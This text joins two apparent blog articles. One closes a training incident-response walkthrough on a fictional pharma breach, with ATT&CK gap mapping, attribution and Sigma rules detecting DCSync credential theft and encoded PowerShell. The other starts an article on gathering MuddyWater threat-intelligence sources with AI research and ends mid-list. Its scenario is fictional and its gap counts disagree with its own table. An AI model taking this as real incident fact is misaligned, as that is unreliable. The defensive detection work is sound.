4. Commit the claims ledger

git add 03-analysis/claims/claims-ledger.md project.yml
git commit -m "PROJ-2024-001: claims — 6 claims; PIR-001 ANSWERED YES (CL-003 exfil confirmed); PIR-003 CONFIRMED ONGOING (CL-006 DCSync)"

Step R4: ATT&CK Mapping — Where Detection Failed

1. Open the ATT&CK mapping file

nano 03-analysis/attck-mapping/attck-mapping.md

For each technique you identified in the timeline, add one row. The four columns that matter most operationally are: Confidence (how sure are you the technique was used), Rule Fired? (yes/no/partial — check your SIEM), and Gap Type (what kind of work is needed to close this detection hole).

Gap types: Rule missing / Data source missing / Coverage incomplete / Architectural gap. Pick one. If you are unsure, write your best guess and flag it for SOC review.

Also update project.yml — fill the attck_techniques list:

nano project.yml

scope:
  attck_techniques:
    - T1566.001
    - T1557
    - T1133
    - T1078.002
    - T1059.001
    - T1003.001
    - T1003.006
    - T1021.003
    - T1197
    - T1047
    - T1070.001
    - T1547.001

2. Fill one row per technique

T1566.001 — Phishing attachment, CFO .xlsm

• Evidence: M365 ATP log
• Confidence: High
• Rule Fired?: Partial — ATP delivered; SCL=4, threshold=5
• Gap Type: Coverage incomplete — SCL threshold tuning

T1557 — AiTM credential theft, IT admin

• Evidence: VPN login pattern + AiTM HTML lure
• Confidence: High
• Rule Fired?: No
• Gap Type: Rule missing — no AiTM session token detection

T1133 — VPN access with stolen credentials

• Evidence: VPN log: Istanbul, off-hours, no prior history
• Confidence: High
• Rule Fired?: No
• Gap Type: Rule missing — no anomalous VPN authentication alert

T1078.002 — Valid account abuse, svc_backup

• Evidence: EID 4624, multiple events
• Confidence: High
• Rule Fired?: No
• Gap Type: Rule missing — service account off-hours logon undetected

T1059.001 — Encoded PowerShell, both hosts

• Evidence: Sysmon EID 1, CrowdStrike
• Confidence: High
• Rule Fired?: Yes, CFO only, via CrowdStrike behavioral detection
• Gap Type: Coverage incomplete — CFO only; IT admin host fired no alert

T1003.001 — LSASS memory access

• Evidence: Sysmon EID 10, GrantedAccess 0x1010
• Confidence: High
• Rule Fired?: No
• Gap Type: Rule missing — Sysmon EID 10 not alerted on

T1003.006 — DCSync

• Evidence: DC01 EID 4662
• Confidence: High
• Rule Fired?: No
• Gap Type: Rule missing — EID 4662 audit configured but no alert rule

T1021.003 — WMI lateral movement to SERVER-FIN-01

• Evidence: CrowdStrike: WmiPrvSE → PowerShell
• Confidence: High
• Rule Fired?: No
• Gap Type: Rule missing — WmiPrvSE parent alert not deployed

T1197 — BITS download, second stage

• Evidence: Sysmon EID 1, bitsadmin
• Confidence: High
• Rule Fired?: No
• Gap Type: Rule missing — BITS external download not monitored

T1047 — WMI execution, lateral movement

• Evidence: CrowdStrike log
• Confidence: High
• Rule Fired?: No
• Gap Type: Data source missing — WMI logging not in SIEM

T1070.001 — Event log cleared

• Evidence: CrowdStrike EID 1102
• Confidence: High
• Rule Fired?: No
• Gap Type: Rule missing — wevtutil alert not deployed

T1547.001 — Registry Run Key persistence

• Evidence: Sysmon EID 13
• Confidence: High
• Rule Fired?: No
• Gap Type: Coverage incomplete — EID 13 ingested but no alert rule on AppData\\Roaming paths

The gap taxonomy tells the engineering team exactly what work is required:

• Rule missing (7 techniques): Data is in SIEM. A detection engineer can write and deploy the rule. These are sprint items.
• Coverage incomplete (3 techniques): Rule or data exists but is mis-tuned or partial. These require tuning, not new infrastructure.
• Data source missing (1 technique): WMI execution logging is not in the SIEM. This requires an infrastructure change before rules can be written.

The DCSync gap (T1003.006) is particularly stark: the Advanced Audit Policy that generates EID 4662 was correctly configured on DC01, the event was forwarded to Splunk, and the event was visible in Splunk. There was no alert rule. A single Splunk search rule on source=WinEventLog:Security EventCode=4662 ObjectType="{19195a5b-6da0-11d0-afd3-00c04fd930c9}" from a non-DC IP would have fired and contained this incident before the formula exfiltration.

3. Commit the ATT&CK mapping

git add 03-analysis/attck-mapping/attck-mapping.md project.yml
git commit -m "PROJ-2024-001: ATT&CK mapping — 12 techniques, 7 rule-missing, 3 coverage-incomplete, 1 data-source-missing, 1 arch-gap"

Step R5: Attribution Assessment — Same Actor or Two?

1. Open the attribution file

nano 03-analysis/attribution/attribution.md

Write attribution only after the claims ledger is complete. The attribution file has three sections: evidence for unification (or separation), confidence ladder scoring, and the exact language to use in deliverables. Fill them in that order.

Do not start with a hypothesis. Start with the evidence you have from the claims ledger, then see where it points.

2. Score the evidence against the confidence ladder

The investigation faces a key analytical question: Path A (CFO phishing, November 15) and Path B (IT admin AiTM, October 22) — are they the same actor?

Evidence for unification (same actor):

1. Shared PE compile timestamp: Both dropped binaries — svchost32.exe (CFO host) and UpdateHelper.dll (IT admin host) — carry an identical fake compile timestamp of 2018-04-09. This is a known toolchain fingerprint. The probability of two unrelated actors both timestomping to the same date is extremely low.
2. Shared secondary C2 domain in memory: Strings extracted from svchost32.exe include sys-update-cdn[.]net — the domain that appeared only in SERVER-RD-02's DNS logs during the formula exfiltration. The CFO's implant knew about infrastructure used during the Path B operation. This is only explicable if the same actor controlled both implants.
3. Coordinated operations timeline: The CFO was targeted on the same day that the finance server data was being staged on SERVER-FIN-01 via lateral movement from the IT admin path. Two independent actors staging finance data simultaneously at the same target is implausible.

Assessment: Single threat actor, dual delivery mechanism.

The actor compromised the IT admin first (October 22), used that access for data theft (November 6), then independently targeted the CFO to expand access to finance data. The two phishing lures used different delivery infrastructure (different sender domains, different sending IPs from the same /24 block) — consistent with an actor who maintains parallel operational tracks.

Attribution confidence: Medium-High. Apply the confidence ladder from Step R5 of the methodology to score this case:

Ladder tier: Medium-High — TTP overlap + infrastructure match present; independent confirmation absent. The toolset has not been definitively matched to a named cluster, which prevents elevation to High.

What to write: “Activity assessed as a single threat actor based on shared toolchain indicators (PE timestamp, secondary C2 domain). Tradecraft and targeting profile are consistent with Iranian-nexus industrial espionage operations targeting Israeli pharmaceutical IP. Attribution to a named cluster is not warranted without CERT-IL deconfliction or independent confirmation. Confidence: Medium-High.”

3. Paste the final language into attribution.md and commit

git add 03-analysis/attribution/attribution.md
git commit -m "PROJ-2024-001: attribution — single actor, Medium-High confidence, shared PE timestamp + secondary C2, Iranian-nexus tradecraft consistent"

Step R6: Detection Rules — Four That Would Have Changed the Outcome

1. Create one file per rule

Each rule gets its own file in 04-detections/sigma/:

cp 04-detections/sigma/SIGMA-TEMPLATE.yml 04-detections/sigma/DET-001-anomalous-vpn-auth.yml
cp 04-detections/sigma/SIGMA-TEMPLATE.yml 04-detections/sigma/DET-002-dcsync-non-dc.yml
cp 04-detections/sigma/SIGMA-TEMPLATE.yml 04-detections/sigma/DET-003-svc-account-offhours.yml
cp 04-detections/sigma/SIGMA-TEMPLATE.yml 04-detections/sigma/DET-004-wmiprvse-powershell.yml

Open the first one:

nano 04-detections/sigma/DET-001-anomalous-vpn-auth.yml

Every rule must reference the CL-ID it would have detected and the gap type it closes. That is how the detection backlog stays traceable to the investigation.

2. Fill each rule

Each rule is written with a reference to the claim it would have detected and the evidence gap it closes.

DET-001: Anomalous VPN Authentication from Non-Corporate Source

title: Anomalous VPN Authentication — New Geography or Hosting ASN
id: a1b2c3d4-5678-9abc-def0-1234567890ab
status: experimental
description: >
  Detects VPN authentication success from a source IP with no prior history for
  this user, specifically from IPs geolocated outside Israel or from hosting/VPN
  ASNs. Covers T1133 and T1557 (session token replay after AiTM interception).
  Derived from PROJ-001 — CL-001, p.levi VPN from Istanbul at 02:17 UTC.
logsource:
  category: network
  product: cisco_anyconnect
detection:
  selection:
    event.action: vpn_auth_success
    user.name|exists: true
  filter_known:
    source.geo.country_iso_code: 'IL'
    source.as.number|not|startswith: ['AS47583', 'AS16276']   # hosting VPS ASNs
  condition: selection and not filter_known
falsepositives:
  - Legitimate international travel — validate against HR travel records
  - Remote contractors working abroad
level: high
tags:
  - attack.initial_access
  - attack.t1133
  - attack.credential_access
  - attack.t1557

DET-002: DCSync Attack Detection

title: DCSync Attack via Non-DC Account
id: b2c3d4e5-6789-abcd-ef01-234567890abc
status: production
description: >
  Detects DCSync by looking for EID 4662 with the DS-Replication-Get-Changes
  GUID originating from a workstation IP rather than a domain controller.
  Derived from PROJ-001 — CL-004: svc_backup performed DCSync from WS-IT-LEVI
  using Domain Admin rights that were never revoked after an August 2024 
  emergency backup restoration.
logsource:
  category: windows
  product: windows
  service: security
detection:
  selection:
    EventID: 4662
    ObjectType: '{19195a5b-6da0-11d0-afd3-00c04fd930c9}'   # DS-Replication-Get-Changes
    Properties|contains:
      - '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'             # DS-Replication-Get-Changes-All
      - '89e95b76-444d-4c62-991a-0facbeda640c'             # DS-Replication-Get-Changes-In-Filtered-Set
  filter_legitimate_dc:
    IpAddress|startswith:
      - '10.10.1.10'   # DC01 — add all DC IPs here
      - '10.10.1.11'   # DC02
  condition: selection and not filter_legitimate_dc
falsepositives:
  - Azure AD Connect sync account — must be explicitly whitelisted
  - Authorized red team / pentest — validate scope before dismissing
level: critical
tags:
  - attack.credential_access
  - attack.t1003.006

DET-003: Service Account Off-Hours Authentication

title: Service Account Authentication Outside Business Hours
id: c3d4e5f6-789a-bcde-f012-34567890abcd
status: experimental
description: >
  Detects authentication by a service account (accounts matching svc_* naming
  pattern) outside business hours (22:00–06:00) to a non-designated system.
  Covers T1078.002 (Valid Accounts: Domain Accounts) for svc_backup lateral
  movement in PROJ-001.
logsource:
  category: windows
  product: windows
  service: security
detection:
  selection:
    EventID: 4624
    LogonType: 3
    SubjectUserName|startswith: 'svc_'
  filter_business_hours:
    TimeCreated|windash|lt: '22:00:00'
    TimeCreated|windash|gt: '06:00:00'
  filter_known_backup_host:
    IpAddress: '10.10.4.15'   # SERVER-WSUS-01 — legitimate backup source
  condition: selection and not filter_business_hours and not filter_known_backup_host
falsepositives:
  - Scheduled tasks that legitimately run at night — review and whitelist specific pairs
level: medium
tags:
  - attack.lateral_movement
  - attack.t1078.002

DET-004: WmiPrvSE Spawning PowerShell

title: WMI Remote Execution — PowerShell Child of WmiPrvSE
id: d4e5f6a7-89ab-cdef-0123-4567890abcde
status: production
description: >
  Detects WMI-based lateral movement (T1021.003) where WmiPrvSE.exe spawns
  PowerShell on a remote system. This is the pattern from PROJ-001 step 16:
  lateral movement from WS-CFO-01 to SERVER-FIN-01 via WMI using svc_finreport
  credentials. CrowdStrike detected the PowerShell on SERVER-FIN-01 but the
  originating WMI connection from the CFO host had no coverage.
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith: '\WmiPrvSE.exe'
    Image|endswith: '\powershell.exe'
  suspicious_flags:
    CommandLine|contains:
      - '-Enc'
      - '-EncodedCommand'
      - '-NonI'
      - '-W Hidden'
  condition: selection and suspicious_flags
falsepositives:
  - SCCM WMI-based software deployment with PowerShell post-install scripts
level: high
tags:
  - attack.lateral_movement
  - attack.execution
  - attack.t1021.003
  - attack.t1059.001

Validation: All four rules were validated against the PROJ-001 evidence set using Hayabusa before deployment. DET-001 fires on the October 24 Istanbul VPN login. DET-002 fires on the November 6 DCSync event. DET-003 fires on every svc_backup off-hours logon. DET-004 fires on the SERVER-FIN-01 WMI execution.

3. Validate each rule against your evidence set

# Run Hayabusa against the collected logs to confirm rules fire on known-bad events
hayabusa csv-timeline -d 01-evidence/ -r 04-detections/sigma/ -o validation-results.csv

Review the output. A rule that does not fire on its own evidence set should not be deployed.

4. Update project.yml deliverables count and commit

nano project.yml

deliverables:
  - type: sigma-rules
    count: 4
    status: complete

git add 04-detections/sigma/ project.yml
git commit -m "PROJ-2024-001: detections — DET-001 to DET-004 written and validated PASS against evidence set via Hayabusa"

Step R7: Deliverables — What Each Stakeholder Gets

1. Open the deliverable templates

nano 05-deliverables/executive-brief.md
nano 05-deliverables/soc-handoff.md

The executive brief answers three questions only: what happened, what was confirmed stolen or compromised, and what must happen in the next 24 hours. One page. No technical jargon. Every PIR that is answered gets a one-line answer at the top.

The SOC handoff lists: current IOCs (with confidence ratings), detection rules deployed, hunting queries still open, and escalation criteria. The SOC receives this, not the executive brief.

2. Fill the executive brief

Executive brief (1 page, TLP:AMBER) — what the CISO needs in 90 minutes:

An adversary assessed as Iranian-nexus compromised LifeTech Pharma through two separate phishing attacks over 24 days. Using stolen IT administrator credentials, they accessed and exfiltrated the 47-file US licensing formula package on November 6, 2024. They also performed a DCSync attack on the domain controller, which means all Active Directory credentials must be treated as compromised.

PIR-001 ANSWERED: The US partner formula package was exfiltrated. 381 MB outbound confirmed in firewall logs.

PIR-003 ANSWERED: Active compromise ongoing. The CFO alert on November 15 is a second wave from the same actor, still active at time of investigation.

Immediate actions: Full AD credential rotation; quarantine WS-CFO-01 and SERVER-FIN-01; notify INCD (72h clock from discovery: expires November 17 02:14 IST); brief the US licensing partner.

SOC handoff (technical):

Current IOCs: 203.0.113.87, 198.51.100.44, telemetry-cdn-services[.]biz, sys-update-cdn[.]net, uslifepartner-group[.]com, lifetechpharma-corp[.]eu.

Four detection rules deployed (DET-001 through DET-004). Two hunting queries: (1) pivot on C2 domains across all 838 endpoints — the 3 confirmed hosts may not be all; (2) hunt for any svc_backup authentication from non-WSUS IPs in the past 30 days.

3. Update project.yml status to closed and commit everything

nano project.yml

project:
  status: closed
pirs:
  - id: PIR-001
    status: answered    # CL-003
  - id: PIR-002
    status: answered    # CL-001
  - id: PIR-003
    status: answered    # CL-006 - ongoing, AD rotation required

git add 05-deliverables/ project.yml
git commit -m "PROJ-2024-001: deliverables — executive brief, SOC handoff, INCD notification ready; all PIRs answered; project closed"

The Git History: What a Completed Investigation Looks Like

b9a2f1c  PROJ-001: deliverables — executive brief, SOC handoff, INCD notification ready
7c8d3e4  PROJ-001: detections — DET-001 through DET-004 validated PASS via Hayabusa
5f2a9b1  PROJ-001: attribution — single actor assessed (shared PE timestamp + secondary C2)
3e4c7d8  PROJ-001: ATT&CK mapping — 12 techniques, 7 rule-missing, 3 incomplete, 1 data-missing
1b6f2a5  PROJ-001: claims — 6 claims; PIR-001 ANSWERED YES (CL-003); PIR-003 CONFIRMED ONGOING (CL-006)
9a3e7c2  PROJ-001: timeline — 18 events Oct 22–Nov 15; dual-path confirmed, same actor assessed
6f1b4d9  PROJ-001: evidence inventory — 6 sources, GAP-001 documented, firewall log retrieval urgent
2c8a5e3  PROJ-001: scope — signed off 22:55 IST; PIR-001/002/003, TLP AMBER, legal hold WS-IT-LEVI
a1d7f4b  PROJ-001: intake — CFO PowerShell alert, legal hold WS-IT-LEVI, formula data in scope
0e9c2b7  PROJ-001: scaffold initialized

Each commit is a phase. Each message states the project ID, the phase, and a one-line summary of what was concluded. When a lawyer asks six months from now “what did you know and when did you know it?” — the git log answers.

Key Lessons

The alert was not the beginning. The SOC received its first signal 52 hours after the breach was already in progress — and 15 days after the formula files were gone. The triggering alert was the second entry point. A detection rule on anomalous VPN authentication (DET-001) would have fired on October 24 at 02:17 UTC — before any lateral movement, before any data access.

Gaps are findings, not absences. The 10-day Sysmon gap on WS-IT-LEVI coincided exactly with the delivery of a phishing email. Stopping a logging service is T1562.001 — Impair Defenses. A gap is not “we don’t know what happened.” A gap that coincides with a malicious delivery is evidence of anti-forensics.

DCSync changes everything. The scope of remediation is not “three infected hosts.” When DCSync is confirmed via Domain Admin rights, every credential in the AD is potentially compromised. The scope is all 80 servers. The IR Lead needs to know this before the 90-minute CISO brief, not after.

Claims need competing hypotheses. CL-003 (exfiltration confirmed) is only defensible as “high confidence” because specific alternative explanations were checked and explicitly ruled out — scheduled backup (wrong source IP, wrong timing), authorized developer activity (no jobs scheduled). Without the competing hypothesis analysis, a claim is an assertion. With it, it is analysis.

This scenario is training assignment A01 from the CTI as a Code repository. The full evidence set, template, and worked solution are available there.

Follow My Work

I publish practical cybersecurity research, CTI workflows, detection engineering notes, malware analysis projects, OpenCTI work, cloud and Kubernetes security research, AI-assisted security tooling, labs, and technical guides.

• Portfolio / Knowledge Base: https://anpa1200.github.io/
• Medium: https://medium.com/@1200km
• GitHub: https://github.com/anpa1200
• LinkedIn: https://www.linkedin.com/in/andrey-pautov/

Andrey Pautov

CTI as a Code in Practice: Reactive Investigation — LifeTech Pharma was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Most threat actor writeups stop too early. They describe the group, list ATT&CK techniques, and paste some IoCs. Then the report sits in a folder while defenders wonder: what do I actually do with this on Monday?

Operation Desert Hydra is an answer to that question.

This article documents a full CTI-to-detection pipeline focused on MuddyWater — an Iranian state-linked actor (MOIS) that has been targeting Israeli government, defense, and critical infrastructure organizations since at least 2019. By the end, you’ll have 11 detection records, 12 Kibana proof screenshots, and a working lab you can deploy with a single command.

Everything is on my GitHub: github.com/anpa1200/operation-desert-hydra

GitHub - anpa1200/operation-desert-hydra: OpenCTI-based CTI-to-Detection Knowledge Graph for Iranian activity against Israeli organizations

1. Why MuddyWater?
2. The Pipeline
3. Phase 1: Source Gathering
4. Phase 2: Procedure Dataset
5. Phase 3: OpenCTI Knowledge Graph
6. Phase 4: Detection Atlas
7. Phase 5: Validation Lab
8. Validation Results Summary
9. Phase 6: Coverage Matrix
10. What Defenders Should Do Right Now
11. Reproduce It Yourself
12. Production Scars

Why MuddyWater?

Three reasons:

1. Rich public reporting. CISA, Israel’s INCD, ClearSky, Deep Instinct, Mandiant, and Proofpoint have all published detailed technical analysis. This gives enough procedure-level specificity to engineer real detections.
2. Consistent playbook. Across five years of reporting, the same pattern recurs: spearphishing → scripting engine → encoded PowerShell → RMM tool. The consistency makes it detectable.
3. Relevant geography. The actor consistently targets Israeli organizations — a geography with high analytical value and underserved public detection coverage.

The Pipeline

The project enforces a chain from source to Kibana screenshot:

source → claim → procedure → ATT&CK mapping → telemetry requirement
  → detection pseudologic → benign simulation → lab result → coverage score

No step is skipped. Every claim has a source. Every detection has a validation case. Every PASS has a screenshot.

Phase 1: Source Gathering

The first step is source discovery, not detection writing.

Traditional Source Gathering — and Why It’s Not Enough Alone

The standard workflow for CTI source gathering looks like this: run keyword searches (Google, Google Dorks, site: operators for known vendor blogs), check your Threat Intelligence Platform for existing reports on the actor, subscribe to vendor RSS feeds, pull ISAC/ISAO advisories, and query your organization’s TIP for any existing indicator sets or finished intelligence reports tagged to the actor.

For a mature, well-documented actor like MuddyWater this gets you to maybe 15–20 well-known sources quickly — the CISA advisory, the MITRE ATT&CK page, two or three vendor blog posts you already knew about. The problem is coverage holes: you’ll reliably find sources that are already in your network’s vocabulary and miss the ones that aren’t. A CERT-IL PDF published in Hebrew and linked only from a government portal, a Group-IB campaign teardown behind a partial paywall, or a 2020 ClearSky report that predates your current TIP subscription window — all of these can fall out of a manual search pass.

TIPs compound this in a specific way: they surface what has already been ingested and tagged. If a source was never promoted into your TIP (because it was published before the subscription started, or because no analyst had time to import it), it is invisible inside the platform. The TIP is authoritative for what it knows, not for the universe of available sources.

AI research

The parallel AI research pass was not a replacement for traditional gathering — it was a coverage supplement. After both approaches ran, the traditional pass and the AI outputs were merged into the same deduplication step. The AI outputs added approximately 40 sources beyond what a manual search surfaced; traditional search added discipline about sources the models hallucinated (fabricated URLs, mis-attributed PDFs). Neither was sufficient alone.

I ran parallel deep-research passes using Gemini and OpenAI, both given the same prompt. Each returned a candidate source register. Both outputs were compared, deduplicated (71 candidates → 8 promoted), and the surviving sources were manually acquired and reviewed before anything entered the dataset.

The Actual Prompt

This is the exact prompt used — both models received it verbatim:

You are a senior CTI researcher and source-validation analyst. For Operation Desert Hydra,
gather the best public sources on MuddyWater / Seedworm / Mango Sandstorm / TA450 and
related Iranian activity against Israeli organizations. Goal: create a source register for
an OpenCTI-based CTI-to-detection knowledge graph:
Source → Actor → Campaign → Procedure → ATT&CK Technique → Observable → Log Source
→ Detection → Validation → Coverage.
Search MITRE ATT&CK, CISA/FBI/NSA, Israel National Cyber Directorate, Microsoft,
Google/Mandiant, ESET, Check Point, ClearSky, Unit 42, Proofpoint, SentinelOne,
Recorded Future, Symantec, Talos, Trend Micro, Kaspersky, Cloudflare/Hunt.io/DomainTools,
GitHub, and academic sources.
Include secondary comparison actors only as comparison: APT34, APT35/Charming Kitten/Mint
Sandstorm, CyberAv3ngers, Agrius. Do not merge actors unless a source explicitly supports
overlap.
For every source, return this YAML structure:
  id, title, publisher, url, direct_download_url, download_type, publication_date,
  access_date, actor_claims, source_type, reliability, relevance flags for
  actor_profile/procedures/malware/infrastructure/detections/validation_lab/opencti_modeling,
  key_entities, key_attck_techniques, source_summary, use_for_project, limitations.
Provide direct PDF/STIX/JSON/CSV/GitHub raw links where available; if unavailable write
direct_download_url: none_found. Do not invent URLs or dates.
Use evidence labels:
  Observed = directly shown in telemetry/sample/log/screenshot/source artifact
  Reported = stated by source
  Assessed = source judgment
  Inferred = analyst conclusion from multiple cited facts
  Gap = unknown or not proven
Do not upgrade source claims, do not treat ATT&CK mapping as attribution evidence, do not
treat shared tooling as actor identity proof, and do not claim detection coverage without
validation.
Search exact terms including:
  MuddyWater Iran MOIS, MuddyWater Seedworm, MuddyWater Mango Sandstorm,
  MuddyWater TA450, MuddyWater POWERSTATS, PowGoop, MuddyViper, MuddyWater Israel,
  Israeli organizations, PowerShell, RMM, phishing, spearphishing, Exchange CVE-2020-0688,
  CVE-2017-0199, MITRE ATT&CK, CISA FBI NSA advisory, Mango Sandstorm Microsoft,
  TA450 Proofpoint, Seedworm Symantec, ESET, ClearSky, Unit 42, Check Point, Mandiant,
  SentinelOne, Recorded Future, Talos, Trend Micro, Kaspersky;
  also: APT34 Israel, APT35 Israel, Mint Sandstorm Israel, CyberAv3ngers Israel,
  Agrius Israel, Iranian threat actors Israeli organizations.
Output only these sections:
  1) Executive Source Assessment
  2) High-Priority Source Register with 10-20 best sources in YAML
  3) Extended Source Register
  4) Direct Downloads Table
  5) Actor Alias / Overlap Notes
  6) Procedure Extraction Candidates grouped by tactic with source_ids, evidence_label,
     ATT&CK candidate, required telemetry, detection opportunity, validation_possible
  7) OpenCTI Modeling Candidates
  8) Detection Engineering Opportunities marked candidate only
  9) Gaps And Manual Review Items
The final output must be usable to seed data/sources.yaml, data/procedures.yaml,
docs methodology, OpenCTI import plan, and detection atlas.

What the Prompt Is Designed to Do

A few decisions worth explaining:

Output schema in the prompt. Asking for a specific YAML field list (id, title, publisher, url, direct_download_url…) forces the model to either produce usable data or leave a visible blank — no vague summaries. direct_download_url: none_found is the required answer when a URL doesn't exist, which prevents the model from inventing one.

Evidence labels baked in. The five labels (Observed / Reported / Assessed / Inferred / Gap) are defined in the prompt so the model applies them consistently and the output is ready to feed directly into data/procedures.yaml without reformatting.

Explicit anti-hallucination rules. “Do not invent URLs or dates.” “Do not upgrade source claims.” “Do not treat ATT&CK mapping as attribution evidence.” These are not just principles — they are instructions the model can fail visibly on, which makes QA faster.

Parallel models, same prompt. Running Gemini and OpenAI on the same prompt and comparing outputs catches source fabrications: if one model lists a URL the other doesn’t, that URL gets verified before it enters the register. Two models that agree independently on a source add confidence; one model alone that lists something unusual is a flag.

The Review Gate

Every source that came out of the AI output went through this checklist before being promoted into data/sources.yaml:

• Is the URL real and accessible?
• Is the publication date accurate?
• Does the content actually describe MuddyWater procedures (not just mention the name)?
• Is there at least one procedure-level claim (not just “actor uses PowerShell”)?
• Is the actor identification explicit or inferred from shared tooling only?

71 candidates → 8 government/vendor sources promoted. The rest were duplicates, secondary summaries, or sources that named the actor without procedure-level specificity.

Research Artifacts (All in the Repo)

Every file from the source gathering workflow is version-controlled and publicly accessible:

• Gemini-research.md — Raw Gemini deep-research output: candidate source register in YAML, procedure extraction candidates, OpenCTI modeling candidates, detection opportunities, gaps.
• openAI-research.md — Raw OpenAI deep-research output: executive assessment, high-priority sources, extended source register, direct download list, actor alias notes.
• relevant-research-list.md — Deduplicated candidate list after comparing both model outputs: 71 sources, acquisition targets for Step 5.
• source-acquisition-report.md — Results of the automated fetch run: HTTP status, content type, file size, and extraction status for all 71 sources.
• source-reliability-evidence-assessment.md — Analyst review notes: reliability ratings, evidence quality, promotion decisions, and limitations per source.
• raw-sources/ — 71 numbered source folders, each containing metadata.json, headers.txt, the raw source file, extracted source.txt, and fallback reader output.

Promoted sources (highest weight):

• CISA AA22–055A (Feb 2022) — Full procedure survey: PowGoop, POWERSTATS, Small Sieve, Mori, Canopy, Marlin; WMI survey script; credential dumping tools.
• INCD 2023 — Israeli campaign specifics: ScreenConnect/SimpleHelp RMM abuse, Egnyte/OneDrive lures, Log4j + Exchange exploitation.
• INCD 2024 — BugSleep analysis: 43-minute scheduled task beacon, VPN exploitation, new RMM tools (Level, PDQConnect).

Supporting vendor sources: ClearSky, Deep Instinct, Group-IB, Mandiant, Proofpoint, Sekoia.io, Symantec.

Why These Three Have the Highest Weight

The reliability assessment used a two-axis rubric: Source Reliability (A–F) separating publication discipline from content, and Information Credibility (1–6) rating how well each claim is grounded.

CISA AA22–055A — Reliability A, Credibility 2

This is a joint advisory signed by five national authorities: CISA, FBI, CNMF, NCSC-UK, and NSA. That multi-agency co-signature is not ceremonial — each agency must independently agree to the technical content before it publishes. The advisory names specific malware families (PowGoop, POWERSTATS, Small Sieve, Mori, Canopy, Marlin), includes an actual WMI PowerShell survey script attributed to MuddyWater, and lists credential-dumping tool names. Evidence label: Reported / Assessed. The PDF acquired locally at raw-sources/07-u-s-cyber-command-defense-media-aa22-055a-pdf-mirror/source.pdf is the authoritative copy distributed via Defense Media Activity. Credibility is 2, not 1, because the advisory states TTPs based on intelligence assessment rather than a single intercepted artifact — but the authority behind that assessment is as high as public-source CTI gets.

INCD 2023 (MuddyWater / DarkBit PDF) — Reliability A, Credibility 2

The Israel National Cyber Directorate is the government authority responsible for civilian cyber defense in Israel, the primary target country for this actor. This report covers a specific Israeli campaign including: tool names (ScreenConnect, SimpleHelp), file-sharing lure services (Egnyte, OneDrive), exploitation of Log4j and Exchange CVE-2020–0688, and deployment of ransomware (DarkBit) as a cover operation. Evidence label: Observed / Reported / Assessed. The "Observed" label means the INCD had direct visibility into the incident — not a secondary summary. This gives procedure-level specificity that generic vendor threat intel doesn't reach. Acquired at raw-sources/17-israel-national-cyber-directorate-muddywater-darkbit-pdf/source.pdf.

INCD 2024 (BugSleep PDF) — Reliability A, Credibility 2

Same publisher authority as INCD 2023, focused on MuddyWater’s 2024 evolution. Key content: BugSleep backdoor analysis, the specific 43-minute scheduled task beacon interval (which became proc_mw_0006 and det_mw_0006), VPN exploitation, and new RMM tools (Level, PDQConnect). The 43-minute interval is a concrete behavioral fingerprint — not a general TTP category — and it came from direct INCD analysis. Evidence label: Observed / Reported / Assessed. Acquired at raw-sources/18-israel-national-cyber-directorate-technological-advancement-and-evolution-of-muddywater-in/source.pdf.

The three sources share a common characteristic: they are not secondary aggregators or vendor marketing. They are government authorities with direct incident visibility reporting on specific Israeli campaigns.

Steps After Deduplication: What Actually Happened to All 71 Sources

After the AI outputs were merged and deduplicated, 71 candidate sources remained. Here is what happened to them across Steps 5–9:

Step 5 — Automated Acquisition

tools/fetch_research_sources.py ran against all 71 URLs. For each source it created a numbered folder under docs/source-gathering/raw-sources/ with:

raw-sources/
  01-mitre-att-ck-muddywater-g0069/
    metadata.json        # URL, fetch timestamp, HTTP status, content-type, size
    headers.txt          # Raw HTTP response headers
    source.html / source.pdf / source.txt   # Primary file
    source.txt           # Text extract (for PDFs and HTML)
    fallback-reader.txt  # Reader-mode fallback if primary was blocked or JS-rendered

Not all fetches succeeded. Some sources returned 403 (vendor gating), some required JS rendering (only fallback text was captured), and two PDFs were corrupted. The acquisition report at docs/source-gathering/source-acquisition-report.md records the HTTP status, file size, and extraction status for all 71.

Step 6 — Reliability and Credibility Rating

Each acquired source was rated using the two-axis rubric. The full assessment table is in docs/source-gathering/source-reliability-evidence-assessment.md. Outcome breakdown:

• Reliability A (government / primary standard): 23 sources
• Reliability B (usually reliable vendor / research publisher): 25 sources
• Reliability C (secondary / news / marketing): 18 sources
• Reliability F (failed acquisition or cannot judge): 5 sources

Step 7 — Promotion Decision

Only sources with a combination of Reliability A or B, Credibility 2 or better, a usable acquisition, and at least one procedure-level claim were promoted into data/sources.yaml. The rest were assigned one of: Use as corroboration, Use as comparison only, Defer, or Exclude.

71 candidates → 8 primary sources promoted into the dataset. The 63 that were not promoted are retained in raw-sources/ for future work; they are not discarded.

Step 8 — Claim Extraction

For each promoted source, specific claims were extracted with source binding and evidence labels. A claim is not “MuddyWater uses PowerShell” — it is: “CISA AA22–055A (AA22–055A PDF, p.4) reports that MuddyWater actors deploy PowGoop, a DLL loader that decrypts and executes a PowerShell backdoor (Reported)." This source-bound format prevents claim drift downstream.

Step 9 — Procedure Candidate Extraction

From the bound claims, 10 procedure candidates were grouped by tactic: Initial Access, Execution, Persistence, Defense Evasion, Discovery, C2, Credential Access. Each candidate recorded: required telemetry, detection opportunity, whether lab validation was feasible, and whether the procedure appeared in multiple independent sources (a promotion signal for higher confidence scores later).

The Full 71-Source Candidate List

This is the deduplicated list produced after comparing Gemini and OpenAI outputs. Every source here was an acquisition target for Step 5.

Core MuddyWater / Seedworm / TA450 / Mango Sandstorm

1. MITRE ATT&CK — MuddyWater G0069
2. MITRE ATT&CK — POWERSTATS S0223
3. MITRE ATT&CK — PowGoop S1046
4. CISA alert — Iranian Government-Sponsored MuddyWater Actors Conducting Malicious Cyber Operations
5. CISA / FBI / CNMF / NCSC-UK / NSA — AA22–055A advisory page
6. CISA / FBI / CNMF / NCSC-UK / NSA — AA22–055A PDF
7. U.S. Cyber Command / Defense media — AA22–055A PDF mirror
8. NCSC-UK — Joint advisory on MuddyWater actor
9. U.S. Cyber Command / Iran Watch mirror — Iranian intel cyber suite of malware PDF
10. Decipher — US Cyber Command Discloses MuddyWater Malware Samples
11. SentinelOne — Wading Through Muddy Waters
12. Palo Alto Unit 42 — Muddying the Water: Targeted Attacks in the Middle East
